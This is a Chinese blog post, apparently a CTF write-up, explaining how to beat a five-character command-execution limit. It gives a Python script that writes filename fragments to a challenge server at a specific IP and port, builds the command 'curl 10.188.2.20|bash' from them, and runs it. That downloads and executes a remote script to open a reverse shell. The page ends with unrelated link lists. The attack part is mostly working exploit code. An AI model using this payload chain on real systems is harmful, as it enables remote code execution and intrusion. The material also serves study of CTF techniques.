当前位置:网站首页>CTF命令执行题目解题思路
CTF命令执行题目解题思路
2022-08-02 22:03:00 【wespten】
CTF存在命令执行漏洞题目,单次输入字符不得大于5。
利用linux下特有的命令来写入shell反弹。
原理就是利用curl ip|bash等很多方式去反弹shell。
import requests
from time import sleep
from urllib.parse import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# generate `curl orange.tw.tw|python`
# generate `curl 10.188.2.20|bash`
'>sh\ ',
'>ba\\',
'>\|\\',
# '>03\\',
# '>90\\',
'>0\\',
'>20\\',
'>1.\\',
'>12\\' ,
'>7.\\',
'>10\\' ,
'>9.\\',
'>3\\',
'>\ \\',
'>rl\\',
'>cu\\',
#exec
'sh _',
'sh g',
]
r = requests.get('http://120.79.33.253:9003/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://120.79.33.253:9003/?cmd=' + quote(i) )
print (i)
sleep(0.2)
在自己服务器中放入bash一句话,利用curl ip|bash反弹shell。
开启监听,执行后可反弹shell。
利用linux文件写入技巧:
ls -t >g是倒序输出文件名字,然后sh _执行此文件,写入到g中
可以看到该文件有curl xx.x.x.x|bash字符,在linux下输入任意一个字符后加\是不会中断当前操作,可以继续输入内容。而后面没有\则会中断,而sh可以在报错的情况下依然会执行可以执行的命令,因此不会影响curl的执行。
边栏推荐
猜你喜欢
随机推荐
宝塔搭建实测-基于ThinkPHP5.1的wms进销存源码
学习Autodock分子对接
CKA、CKAD、CKS、KCNA、CFCD考试
Web APIs BOM- 操作浏览器-Window对象
RuoYi-App启动教程
Summary of @Transactional transaction invocation and effective scenarios
ZCMU--5230: 排练方阵(C语言)
【STM32学习3】DMA基础操作
Ruoyi integrates minio to realize distributed file storage
一群搞社区的人
wallys/new product/WiFi6 MiniPCIe Module 2T2R 2×2.4GHz 2x5GHz MT7915 MT7975
【TypeScript】深入学习TypeScript类(下)
七夕到了——属于程序员的浪漫
PHP实现登录失败三次需要输入验证码需求
不堪哥哥殴打谩骂,妹妹申请人身安全保护令获支持
Flink优化及相关
基于STM32的FLASH读写实验含代码(HAL库)
mysql查询表中重复记录
gdb调试简要总结
mysql根据多字段分组——group by带两个或多个参数